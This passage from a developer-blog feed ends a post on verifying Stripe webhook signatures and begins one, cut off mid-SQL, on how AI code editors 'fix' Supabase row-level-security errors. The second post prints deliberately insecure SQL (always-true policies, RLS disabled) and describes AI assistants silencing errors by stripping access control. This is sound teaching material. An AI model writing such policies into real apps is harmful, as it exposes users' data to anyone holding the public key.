  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;missing signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webhooks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constructEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;webhookSecret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invalid signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;alreadyProcessed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;checkout.session.completed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;object&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;Stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Checkout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;payment_status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;paid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;grantAccess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;client_reference_id&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;markProcessed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;received&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Express, where middleware order is the whole fix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Webhook route FIRST, with the raw body&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/stripe/webhook&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;webhooks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constructEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe-signature&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;STRIPE_WEBHOOK_SECRET&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="c1"&gt;// handle event.type here&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// JSON parsing for every other route AFTER&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python with Flask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;stripe&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;WEBHOOK_SECRET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;STRIPE_WEBHOOK_SECRET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# KeyError at startup if missing
&lt;/span&gt;
&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/stripe/webhook&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;stripe_webhook&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_data&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# raw bytes
&lt;/span&gt;    &lt;span class="n"&gt;sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Stripe-Signature&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Webhook&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;construct_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WEBHOOK_SECRET&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SignatureVerificationError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;
    &lt;span class="c1"&gt;# handle event["type"] here
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three details that matter as much as the signature check:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use the right secret per environment.&lt;/strong&gt; The &lt;code&gt;stripe listen&lt;/code&gt; secret locally, the Dashboard endpoint secret in production. Test mode and live mode endpoints have different secrets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Track &lt;code&gt;event.id&lt;/code&gt;.&lt;/strong&gt; Stripe says endpoints can receive the same event more than once. Log processed IDs and skip repeats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Take the plan from the verified event.&lt;/strong&gt; Never from a query string on your success page or a field in the request body.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then rerun the curl from above against your deployed app. You want a 400. If you get a 200, the door is still open.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Why does Stripe say "No signatures found matching the expected signature for payload"?&lt;/strong&gt;&lt;br&gt;
A: One of the three inputs to &lt;code&gt;constructEvent&lt;/code&gt; is wrong. Usually it is the wrong &lt;code&gt;whsec_&lt;/code&gt; secret (the &lt;code&gt;stripe listen&lt;/code&gt; secret and the Dashboard secret are different) or a request body that a framework already parsed into JSON.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Is IP allowlisting enough to secure a Stripe webhook?&lt;/strong&gt;&lt;br&gt;
A: No. Stripe's webhook docs recommend IP allowlisting and signature verification together. The signature is what proves the event was not sent or modified by a third party.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Can I skip verification in development?&lt;/strong&gt;&lt;br&gt;
A: You do not need to. &lt;code&gt;stripe listen&lt;/code&gt; gives you a signing secret for local testing, so the same verified code path runs locally and in production. Code that only verifies "if a secret exists" is how the skip reaches production.&lt;/p&gt;

&lt;p&gt;I've been running &lt;a href="https://tinyurl.com/2xoqcx3a" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; for this. Its cloud repo scans (Cloud and Cloud Plus plans) include Stripe rules that flag a webhook handler that never calls &lt;code&gt;constructEvent&lt;/code&gt; and a &lt;code&gt;constructEvent&lt;/code&gt; call with an empty or defaulted secret, and it hooks into Cursor and Claude Code as an MCP server for the rest of the scanners. Even without it, a forged-event curl against your own endpoint and a grep for &lt;code&gt;constructEvent&lt;/code&gt; will tell you most of what you need. The important thing is to check before a stranger does.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Why Cursor Fixes Supabase RLS Errors by Opening the Table</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Sun, 11 Oct 2026 12:42:59 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/why-cursor-fixes-supabase-rls-errors-by-opening-the-table-oed</link>
      <guid>https://dev.to/c_k_fb750e731394/why-cursor-fixes-supabase-rls-errors-by-opening-the-table-oed</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;When a Supabase insert fails with "new row violates row-level security policy", AI editors usually "fix" it with a &lt;code&gt;using (true)&lt;/code&gt; / &lt;code&gt;with check (true)&lt;/code&gt; policy or by disabling RLS.&lt;/li&gt;
&lt;li&gt;That makes the error go away because it makes the table readable or writable by anyone holding your anon key, which ships in your frontend bundle.&lt;/li&gt;
&lt;li&gt;The real fix is four owner-scoped policies built on &lt;code&gt;auth.uid()&lt;/code&gt;, plus a 60-second curl test with the anon key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hit this on a small notes app last week. The insert from the browser failed with &lt;code&gt;new row violates row-level security policy for table "notes"&lt;/code&gt;. I pasted the error into Cursor and asked it to fix it.&lt;/p&gt;

&lt;p&gt;It did. The error disappeared, the app worked, and I almost moved on. Then I read the migration it wrote.&lt;/p&gt;

&lt;p&gt;The "fix" was a policy that lets anyone, signed in or not, read and write every row in the table. The app worked because nothing was being checked anymore.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;The fix an AI editor typically writes for an RLS error is an always-true policy, or turning RLS off entirely. Both silence the error by removing the access control that caused it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- What the AI wrote to "fix" the insert error (CWE-863, Incorrect Authorization)&lt;/span&gt;
&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Enable insert for all users"&lt;/span&gt;
  &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;insert&lt;/span&gt;
  &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;check&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"Enable read access for all users"&lt;/span&gt;
  &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Or, when that did not work on the first try:&lt;/span&gt;
&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt; &lt;span class="n"&gt;disable&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="k"&gt;level&lt;/span&gt; &lt;span class="k"&gt;security&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is why that matters. Your Supabase anon (publishable) key is meant to be public. It sits in your JavaScript bundle, and anyone can copy it out of devtools. Row Level Security is the only thing standing between that key and your data. A &lt;code&gt;using (true)&lt;/code&gt; policy tells Postgres to let every row through. With RLS disabled, any role with a grant on the table can read and write all of it through the auto-generated REST API.&lt;/p&gt;

&lt;p&gt;The second "fix" I see a lot is worse. When the policy route gets confusing, the AI moves the insert to a client that uses the service_role key and exposes it as &lt;code&gt;NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY&lt;/code&gt;. Supabase's own docs say that key goes through the &lt;code&gt;service_role&lt;/code&gt; role, which has the &lt;code&gt;bypassrls&lt;/code&gt; attribute. In a public env var, it is your whole database, readable from the browser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors optimize for making the error go away, and an always-true policy is the shortest diff that does it. The model sees "violates row-level security policy", pattern-matches it to "the policy is too strict", and loosens it.&lt;/p&gt;

&lt;p&gt;There is also a lot of &lt;code&gt;using (true)&lt;/code&gt; in its training data. Quickstarts and tutorials use it for public lookup tables, and policy names like "Enable read access for all users" appear constantly. For a table of country codes, that is fine. For a table of user notes, invoices or chat messages, it is a data leak.&lt;/p&gt;

&lt;p&gt;This is not hypothetical. CVE-2025-48757, published May 29, 2025, describes insufficient RLS policies in apps generated by Lovable that let remote unauthenticated attackers read or write database tables. Matt Palmer, who reported it, lists exposed names, emails, third-party API keys and payment status data in his write-up. Lovable disputes the CVE, saying each customer is responsible for protecting their app's data. That dispute is the point. Whoever is responsible, the policy is what decides, and the AI wrote the policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Keep RLS on and write one policy per operation that ties each row to the signed-in user with &lt;code&gt;auth.uid()&lt;/code&gt;. The insert error almost always means the row you sent does not have a &lt;code&gt;user_id&lt;/code&gt; matching the caller, so fix the data, not the policy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt; &lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="k"&gt;level&lt;/span&gt; &lt;span class="k"&gt;security&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Let Postgres fill in the owner so the client cannot forget or fake it&lt;/span&gt;
&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt; &lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"notes_select_own"&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"notes_insert_own"&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;insert&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;
  &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;check&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nv"&gt;"notes_update_own"&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
